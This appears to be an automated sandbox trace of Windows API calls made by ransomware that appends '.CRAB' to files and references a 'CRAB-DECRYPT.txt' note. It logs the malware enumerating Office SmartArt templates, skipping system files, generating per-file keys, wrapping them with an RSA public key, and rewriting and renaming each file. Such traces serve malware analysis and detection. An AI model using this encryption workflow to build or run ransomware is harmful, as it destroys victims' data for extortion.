	[0118.308] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0118.308] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.309] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.309] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.309] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.309] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0118.309] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.309] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e5a0) returned 1
	[0118.310] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.310] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.311] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.311] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.311] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0118.311] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.311] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.311] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.312] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0118.312] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedde8) returned 1
	[0118.312] CryptGetKeyParam (in: hKey=0xdedde8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.312] CryptEncrypt (in: hKey=0xdedde8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.313] GetLastError () returned 0x0
	[0118.313] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0118.313] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e5a0) returned 1
	[0118.313] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedfe8) returned 1
	[0118.313] CryptGetKeyParam (in: hKey=0xdedfe8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.314] CryptEncrypt (in: hKey=0xdedfe8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.314] GetLastError () returned 0x0
	[0118.314] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0118.314] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328935[[fn=picture organization chart]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.314] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.315] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0118.315] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x1cca, lpOverlapped=0x0) returned 1
	[0118.335] VirtualAlloc (lpAddress=0x0, dwSize=0x1cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.335] VirtualAlloc (lpAddress=0x0, dwSize=0x1cd0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.336] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.336] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffe336, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.336] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x1cd0, lpOverlapped=0x0) returned 1
	[0118.336] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.336] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.340] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.340] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.341] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.341] CloseHandle (hObject=0x3fc) returned 1
	[0118.341] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.342] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.342] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.342] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.343] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.343] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.343] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.343] lstrcmpW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2=".") returned 1
	[0118.343] lstrcmpW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="..") returned 1
	[0118.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328940[[fn=Radial Picture List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox"
	[0118.343] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.343] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned 145
	[0118.344] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned 145
	[0118.344] lstrlenW (lpString=".glox") returned 5
	[0118.344] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.344] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.344] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.344] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned 145
	[0118.344] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned 145
	[0118.344] lstrcmpiW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="desktop.ini") returned 1
	[0118.344] lstrcmpiW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="autorun.inf") returned 1
	[0118.344] lstrcmpiW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="ntuser.dat") returned 1
	[0118.344] lstrcmpiW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="iconcache.db") returned 1
	[0118.344] lstrcmpiW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="bootsect.bak") returned 1
	[0118.344] lstrcmpiW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="boot.ini") returned 1
	[0118.344] lstrcmpiW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.345] lstrcmpiW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="thumbs.db") returned 1
	[0118.345] lstrcmpiW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.345] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.345] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox.CRAB") returned 150
	[0118.345] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328940[[fn=radial picture list]].glox")) returned 0x20
	[0118.346] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox", dwFileAttributes=0x20) returned 1
	[0118.347] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328940[[fn=radial picture list]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328940[[fn=radial picture list]].glox.crab")) returned 1
	[0118.348] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.349] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox.CRAB"
	[0118.349] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox.CRAB.CRAB"
	[0118.349] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0118.349] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.350] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.350] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.350] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.350] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0118.350] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.350] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e6b0) returned 1
	[0118.351] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.351] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.351] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.351] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.351] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0118.351] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.352] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.352] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.352] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0118.353] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdee028) returned 1
	[0118.353] CryptGetKeyParam (in: hKey=0xdee028, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.353] CryptEncrypt (in: hKey=0xdee028, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.353] GetLastError () returned 0x0
	[0118.353] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0118.353] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0118.354] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedd28) returned 1
	[0118.354] CryptGetKeyParam (in: hKey=0xdedd28, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.354] CryptEncrypt (in: hKey=0xdedd28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.354] GetLastError () returned 0x0
	[0118.354] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.354] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328940[[fn=radial picture list]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.355] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.355] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0118.356] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x15dc, lpOverlapped=0x0) returned 1
	[0118.369] VirtualAlloc (lpAddress=0x0, dwSize=0x15e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.370] VirtualAlloc (lpAddress=0x0, dwSize=0x15e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.370] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.371] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffea24, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.371] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x15e0, lpOverlapped=0x0) returned 1
	[0118.371] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.371] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.375] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.375] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.375] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.376] CloseHandle (hObject=0x3fc) returned 1
	[0118.379] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.380] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.380] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.380] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.381] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.381] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.381] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.381] lstrcmpW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2=".") returned 1
	[0118.381] lstrcmpW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="..") returned 1
	[0118.381] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328951[[fn=Tabbed Arc]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox"
	[0118.381] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.382] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned 136
	[0118.382] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned 136
	[0118.382] lstrlenW (lpString=".glox") returned 5
	[0118.382] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.382] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.382] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.382] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned 136
	[0118.382] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned 136
	[0118.382] lstrcmpiW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="desktop.ini") returned 1
	[0118.383] lstrcmpiW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="autorun.inf") returned 1
	[0118.383] lstrcmpiW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="ntuser.dat") returned 1
	[0118.383] lstrcmpiW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="iconcache.db") returned 1
	[0118.383] lstrcmpiW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="bootsect.bak") returned 1
	[0118.383] lstrcmpiW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="boot.ini") returned 1
	[0118.383] lstrcmpiW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.383] lstrcmpiW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="thumbs.db") returned 1
	[0118.383] lstrcmpiW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.383] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.383] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox.CRAB") returned 141
	[0118.383] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328951[[fn=tabbed arc]].glox")) returned 0x20
	[0118.385] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox", dwFileAttributes=0x20) returned 1
	[0118.385] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328951[[fn=tabbed arc]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328951[[fn=tabbed arc]].glox.crab")) returned 1
	[0118.386] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.387] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox.CRAB"
